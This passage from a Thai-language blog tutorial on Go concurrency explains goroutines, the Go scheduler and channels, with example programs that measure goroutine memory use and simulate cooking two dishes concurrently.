&#xE41;&#xE25;&#xE30; Java &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE42;&#xE14;&#xE22;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE01;&#xE32;&#xE23;</p><p>Goroutine &#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE15;&#xE31;&#xE27;&#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01; Map &#xE01;&#xE31;&#xE1A; OS Thread &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; &#xE41;&#xE15;&#xE48;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE42;&#xE14;&#xE22; Go Scheduler &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE25;&#xE44;&#xE01;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Go Runtime &#xE21;&#xE35;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE31;&#xE14;&#xE2A;&#xE23;&#xE23; OS Thread &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE19; Goroutine &#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; &#xE15;&#xE31;&#xE27;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;</p><p>Goroutine &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE19;&#xE49;&#xE2D;&#xE22;&#xE21;&#xE32;&#xE01; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; &#xE2A;&#xE25;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19; &#xE41;&#xE25;&#xE30;&#xE17;&#xE33;&#xE25;&#xE32;&#xE22;&#xE44;&#xE14;&#xE49;&#xE40;&#xE23;&#xE47;&#xE27;&#xE01;&#xE27;&#xE48;&#xE32; Thread &#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Goroutine &#xE44;&#xE14;&#xE49;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE25;&#xE49;&#xE32;&#xE19;&#xE15;&#xE31;&#xE27;&#xE43;&#xE19;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE17;&#xE31;&#xE48;&#xE27;&#xE44;&#xE1B;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/pic.jpg" class="kg-image" alt loading="lazy" width="2000" height="1517" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/pic.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/pic.jpg 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/pic.jpg 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/pic.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;runtime&quot;
	&quot;time&quot;
)

func main() {
	// &#xE2D;&#xE48;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Goroutine &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01;
	var m1 runtime.MemStats
	runtime.ReadMemStats(&amp;m1)

	fmt.Printf(&quot;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Goroutine &#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;: %d\n&quot;, runtime.NumGoroutine())

	// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Goroutine &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01;
	for i := 0; i &lt; 5000000; i++ {
		go func() {
			time.Sleep(5 * time.Second)
		}()
	}

	// &#xE23;&#xE2D;&#xE43;&#xE2B;&#xE49; Goroutine &#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;
	time.Sleep(time.Second)

	// &#xE2D;&#xE48;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Goroutine
	var m2 runtime.MemStats
	runtime.ReadMemStats(&amp;m2)

	// &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE41;&#xE25;&#xE30;&#xE1C;&#xE25;&#xE15;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;
	fmt.Printf(&quot;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Goroutine: %d\n&quot;, runtime.NumGoroutine())
	fmt.Printf(&quot;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Goroutine: %d Byte\n&quot;, m1.Alloc)
	fmt.Printf(&quot;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Goroutine: %d Byte\n&quot;, m2.Alloc)
	fmt.Printf(&quot;&#xE04;&#xE27;&#xE32;&#xE21;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE36;&#xE49;&#xE19;: %d Byte\n&quot;, m2.Alloc-m1.Alloc)
	fmt.Printf(&quot;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE32;&#xE13;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE15;&#xE48;&#xE2D; Goroutine: %d Byte\n&quot;, (m2.Alloc-m1.Alloc)/5000000)
}
</code></pre><p>&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A; Goroutine, Channel &#xE41;&#xE25;&#xE30; WaitGroup &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; (Concurrency)</p><p><strong>Goroutine</strong> &#xE04;&#xE37;&#xE2D; Function &#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE1A; Code &#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE0A;&#xE19;&#xE4C;&#xE08;&#xE32;&#xE01; CPU &#xE2B;&#xE25;&#xE32;&#xE22; Core &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE15;&#xE47;&#xE21;&#xE17;&#xE35;&#xE48; &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE43;&#xE19;&#xE1D;&#xE31;&#xE48;&#xE07; Back End &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE07;&#xE32;&#xE19; (Worker) &#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; &#xE07;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;</p><p>&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23; 2 &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19; &#xE04;&#xE37;&#xE2D; &#xE1C;&#xE31;&#xE14;&#xE01;&#xE30;&#xE40;&#xE1E;&#xE23;&#xE32; &#xE41;&#xE25;&#xE30;&#xE15;&#xE49;&#xE21;&#xE22;&#xE33;&#xE01;&#xE38;&#xE49;&#xE07; &#xE17;&#xE35;&#xE48;&#xE23;&#xE49;&#xE32;&#xE19;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE41;&#xE2B;&#xE48;&#xE07;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07; &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE1E;&#xE48;&#xE2D;&#xE04;&#xE23;&#xE31;&#xE27;&#xE2A;&#xE2D;&#xE07;&#xE04;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE01;&#xE31;&#xE19;&#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;</p><p>&#xE40;&#xE23;&#xE32;&#xE21;&#xE35; Function &quot;prepareDish&quot; &#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23; &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE38;&#xE07;&#xE15;&#xE32;&#xE21;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE2D;&#xE07;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE31;&#xE48;&#xE07;</p><p>&#xE43;&#xE19; Function &quot;main&quot; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE43;&#xE2B;&#xE49;&#xE1E;&#xE48;&#xE2D;&#xE04;&#xE23;&#xE31;&#xE27;&#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23; 2 &#xE08;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; &#xE1C;&#xE31;&#xE14;&#xE01;&#xE30;&#xE40;&#xE1E;&#xE23;&#xE32; &#xE41;&#xE25;&#xE30;&#xE15;&#xE49;&#xE21;&#xE22;&#xE33;&#xE01;&#xE38;&#xE49;&#xE07; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE1C;&#xE31;&#xE14;&#xE01;&#xE30;&#xE40;&#xE1E;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32; 2 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35; &#xE41;&#xE25;&#xE30;&#xE15;&#xE49;&#xE21;&#xE22;&#xE33;&#xE01;&#xE38;&#xE49;&#xE07;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32; 3 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;</p><pre><code>package main

import (
    &quot;fmt&quot;
    &quot;time&quot;
)

func prepareDish(dish string, duration time.Duration) {
    fmt.Printf(&quot;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE17;&#xE33;%s...\n&quot;, dish)
    time.Sleep(duration)
    fmt.Printf(&quot;%s&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE49;&#xE27;!\n&quot;, dish)
}

func main() {
    start := time.Now()

    go prepareDish(&quot;&#xE1C;&#xE31;&#xE14;&#xE01;&#xE30;&#xE40;&#xE1E;&#xE23;&#xE32;&quot;, 2*time.Second)
    go prepareDish(&quot;&#xE15;&#xE49;&#xE21;&#xE22;&#xE33;&#xE01;&#xE38;&#xE49;&#xE07;&quot;, 3*time.Second)

    time.Sleep(3 * time.Second)

    fmt.Printf(&quot;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;: %.2f &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;\n&quot;, time.Since(start).Seconds())
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-04-at-10.59.15-PM.png" class="kg-image" alt loading="lazy" width="1748" height="168" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-04-at-10.59.15-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-04-at-10.59.15-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-04-at-10.59.15-PM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-04-at-10.59.15-PM.png 1748w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE0A;&#xE49; Goroutine &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE23;&#xE2D; 3 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2A;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08; &#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32; 5 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;&#xE16;&#xE49;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE15;&#xE32;&#xE21;&#xE25;&#xE33;&#xE14;&#xE31;&#xE1A;</p><p>Goroutines &#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE1A;&#xE1A; &quot;&#xE44;&#xE21;&#xE48;&#xE23;&#xE2D;&quot; (Non-blocking) &#xE41;&#xE25;&#xE30;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49; go &#xE19;&#xE33;&#xE2B;&#xE19;&#xE49;&#xE32; Function &#xE41;&#xE25;&#xE49;&#xE27; Program &#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE47;&#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE23;&#xE2D;&#xE43;&#xE2B;&#xE49; Function &#xE19;&#xE31;&#xE49;&#xE19;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE40;&#xE0A;&#xE48;&#xE19;&#xE01;&#xE31;&#xE19;</p><p>&#xE16;&#xE49;&#xE32; Function &quot;main&quot; &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE40;&#xE23;&#xE47;&#xE27;&#xE40;&#xE01;&#xE34;&#xE19;&#xE44;&#xE1B; Program &#xE08;&#xE30;&#xE1B;&#xE34;&#xE14;&#xE15;&#xE31;&#xE27;&#xE25;&#xE07;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE1A;&#xE22;&#xE01;&#xE40;&#xE25;&#xE34;&#xE01; Goroutine &#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; &#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; time.Sleep(3 * time.Second) &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49; Function &quot;main&quot; &#xE08;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE0A;&#xE49;&#xE32;&#xE25;&#xE07;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE17;&#xE35;&#xE48; Function &quot;prepareDish&quot; &#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2A;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;</p><p>&#xE16;&#xE49;&#xE32;&#xE40;&#xE23;&#xE32;&#xE15;&#xE31;&#xE14;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; time.Sleep(3 * time.Second) &#xE2D;&#xE2D;&#xE01; &#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19; 0.00 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35; &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30; Program &#xE2B;&#xE25;&#xE31;&#xE01;&#xE08;&#xE30;&#xE08;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE48;&#xE2D;&#xE19; &#xE42;&#xE14;&#xE22;&#xE17;&#xE35;&#xE48; prepareDish &#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE42;&#xE2D;&#xE01;&#xE32;&#xE2A;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;</p><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;time&quot;
)

func prepareDish(dish string, duration time.Duration) {
	fmt.Printf(&quot;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE17;&#xE33;%s...\n&quot;, dish)
	time.Sleep(duration)
	fmt.Printf(&quot;%s&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE49;&#xE27;!\n&quot;, dish)
}

func main() {
	start := time.Now()

	go prepareDish(&quot;&#xE1C;&#xE31;&#xE14;&#xE01;&#xE30;&#xE40;&#xE1E;&#xE23;&#xE32;&quot;, 2*time.Second)
	go prepareDish(&quot;&#xE15;&#xE49;&#xE21;&#xE22;&#xE33;&#xE01;&#xE38;&#xE49;&#xE07;&quot;, 3*time.Second)

	fmt.Printf(&quot;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;: %.2f &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;\n&quot;, time.Since(start).Seconds())
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-04-at-11.16.33-PM.png" class="kg-image" alt loading="lazy" width="1608" height="136" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-04-at-11.16.33-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-04-at-11.16.33-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-04-at-11.16.33-PM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-04-at-11.16.33-PM.png 1608w" sizes="(min-width: 720px) 720px"></figure><p><strong>Channel</strong> &#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Goroutine &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE17;&#xE48;&#xE2D;&#xE17;&#xE35;&#xE48; Goroutine &#xE43;&#xE0A;&#xE49;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE16;&#xE36;&#xE07;&#xE01;&#xE31;&#xE19;</p><p>Channel &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE1A;&#xE1A; &quot;&#xE2A;&#xE48;&#xE07;&#xE41;&#xE25;&#xE49;&#xE27;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE04;&#xE19;&#xE23;&#xE31;&#xE1A;&quot; &#xE2B;&#xE23;&#xE37;&#xE2D; &quot;&#xE23;&#xE2D;&#xE23;&#xE31;&#xE1A;&#xE41;&#xE25;&#xE49;&#xE27;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE04;&#xE19;&#xE2A;&#xE48;&#xE07;&quot; &#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE1A;/&#xE2A;&#xE48;&#xE07; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE43;&#xE19;&#xE17;&#xE32;&#xE07;&#xE15;&#xE23;&#xE07;&#xE02;&#xE49;&#xE32;&#xE21; &#xE08;&#xE30;&#xE40;&#xE01;&#xE34;&#xE14;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE1A;&#xE1A;&#xE2B;&#xE22;&#xE38;&#xE14;&#xE23;&#xE2D; (Block)</p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Channel &#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE02;&#xE49;&#xE32; Channel &#xE23;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Channel &#xE41;&#xE25;&#xE30;&#xE1B;&#xE34;&#xE14; Channel &#xE44;&#xE14;&#xE49;&#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><p>&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Channel</p><pre><code>ch := make(chan int)  // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; channel &#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17; int</code></pre><p>&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE02;&#xE49;&#xE32; Channel</p><pre><code>ch &lt;- 42  // &#xE2A;&#xE48;&#xE07;&#xE04;&#xE48;&#xE32; 42 &#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; channel</code></pre><p>&#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Channel</p><pre><code>value := &lt;-ch  // &#xE23;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE08;&#xE32;&#xE01; channel &#xE41;&#xE25;&#xE30;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE43;&#xE19; value</code></pre><p>&#xE01;&#xE32;&#xE23;&#xE1B;&#xE34;&#xE14; Channel &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; Channel &#xE1B;&#xE34;&#xE14;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE22;&#xE31;&#xE07;</p><pre><code>close(ch)  // &#xE1B;&#xE34;&#xE14; channel

value, ok := &lt;-ch
if !ok {
    fmt.Println(&quot;Channel &#xE16;&#xE39;&#xE01;&#xE1B;&#xE34;&#xE14;&#xE41;&#xE25;&#xE49;&#xE27;&quot;)
}</code></pre><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07; Function &quot;producer&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Goroutine &#xE08;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE48;&#xE32; i &#xE40;&#xE02;&#xE49;&#xE32; Channel &#xE42;&#xE14;&#xE22;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Function &quot;consumer&quot; &#xE23;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE08;&#xE32;&#xE01; Channel &#xE08;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE1B;&#xE34;&#xE14;&#xE08;&#xE32;&#xE01;&#xE43;&#xE19; Function &quot;producer&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49; main() &#xE23;&#xE2D;&#xE08;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32; consumer() 